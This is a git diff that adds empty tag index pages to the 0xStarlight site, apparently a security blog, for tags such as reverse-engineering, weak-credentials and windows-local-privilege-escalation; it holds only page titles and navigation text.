diff --git a/tags/reverse-engineering/index.html b/tags/reverse-engineering/index.html new file mode 100644 index 00000000..e7db0aaa --- /dev/null +++ b/tags/reverse-engineering/index.html @@ -0,0 +1 @@ + reverse-engineering | 0xStarlight
Home Tags reverse-engineering
Tag
Cancel
diff --git a/tags/source-code/index.html b/tags/source-code/index.html new file mode 100644 index 00000000..54e541e3 --- /dev/null +++ b/tags/source-code/index.html @@ -0,0 +1 @@ + source-code | 0xStarlight
Home Tags source-code
Tag
Cancel
diff --git a/tags/trusts-enumeration/index.html b/tags/trusts-enumeration/index.html new file mode 100644 index 00000000..480d7678 --- /dev/null +++ b/tags/trusts-enumeration/index.html @@ -0,0 +1 @@ + trusts-enumeration | 0xStarlight
Home Tags trusts-enumeration
Tag
Cancel
diff --git a/tags/weak-credentials/index.html b/tags/weak-credentials/index.html new file mode 100644 index 00000000..bf08bdd5 --- /dev/null +++ b/tags/weak-credentials/index.html @@ -0,0 +1 @@ + Weak-Credentials | 0xStarlight
Home Tags Weak-Credentials
Tag
Cancel
diff --git a/tags/wildcard/index.html b/tags/wildcard/index.html new file mode 100644 index 00000000..49eb555e --- /dev/null +++ b/tags/wildcard/index.html @@ -0,0 +1 @@ + wildcard | 0xStarlight
Home Tags wildcard
Tag
Cancel
diff --git a/tags/windows-local-privilege-escalation/index.html b/tags/windows-local-privilege-escalation/index.html new file mode 100644 index 00000000..2bc273cd --- /dev/null +++ b/tags/windows-local-privilege-escalation/index.html @@ -0,0 +1 @@ + windows-local-privilege-escalation | 0xStarlight
Home Tags windows-local-privilege-escalation
Tag
Cancel
diff --git a/tags/windows/index.html b/tags/windows/index.html new file mode 100644 index 00000000..26f33d4c --- /dev/null +++ b/tags/windows/index.html @@ -0,0 +1 @@ + windows | 0xStarlight
Home Tags windows
Tag
Cancel